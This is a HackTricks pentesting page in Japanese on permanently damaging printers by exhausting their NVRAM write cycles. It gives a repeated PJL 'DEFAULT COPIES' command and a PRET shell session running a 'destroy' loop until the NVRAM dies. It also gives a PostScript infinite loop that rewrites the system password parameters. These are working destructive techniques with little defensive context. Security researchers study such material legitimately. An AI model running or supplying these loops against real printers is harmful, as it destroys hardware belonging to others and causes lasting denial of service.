hacktricks/network-services-pentesting/pentesting-printers/physical-damage.md
2023-07-07 23:42:27 +00:00

5.9 KiB
Raw Blame History

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

プリンターや他の組み込みデバイスの長期設定は、従来のEEPROMまたはフラッシュメモリとして実装される非揮発性メモリNVRAMに保存されます。両方のコンポーネントには寿命があります。現在、フラッシュメモリのベンダーは、書き込みエラーが発生する前に約100,000回の書き換えを保証しています。

PJL

NVRAMの書き込み機能を破壊するための実用的なテストとして、異なる値を使用して連続してコピーの長期値を設定することができます。Xの値:

@PJL DEFAULT COPIES=X

通常、書き込みを許可しなくなる前に、NVRAMパラメータは工場出荷時のデフォルト値に固定され、すべての変数は@PJL SET...コマンドを使用して現在の印刷ジョブで変更できます。

PRETを使用すると、以下のような操作が可能です:

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> destroy
Warning: This command tries to cause physical damage to the
printer NVRAM. Use at your own risk. Press CTRL+C to abort.
Starting NVRAM write cycle loop in... 10 9 8 7 6 5 4 3 2 1 KABOOM!
Dave, stop. Stop, will you? Stop, Dave. Will you stop, Dave?
[... wait for about 24 hours ...]
I'm afraid. I'm afraid, Dave. Dave, my mind is going...
NVRAM died after 543894 cycles, 18:46:11

PostScript

PostScriptについては、現在のシステムパラメータの辞書で、再起動後も残るエントリを見つける必要がありますしたがって、ある種のNVRAMに保存されている必要があります。良い候補は、PostScriptのパスワードです。
PostScriptは、自身のNVRAMを破損させるスクリプトを実行することができます。

/counter 0 def
{ << /Password counter 16 string cvs
/SystemParamsPassword counter 1 add 16 string cvs
>> setsystemparams /counter counter 1 add def
} loop

これらの技術に関する詳細情報は、http://hacking-printers.net/wiki/index.php/Physical_damage で見つけることができます

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥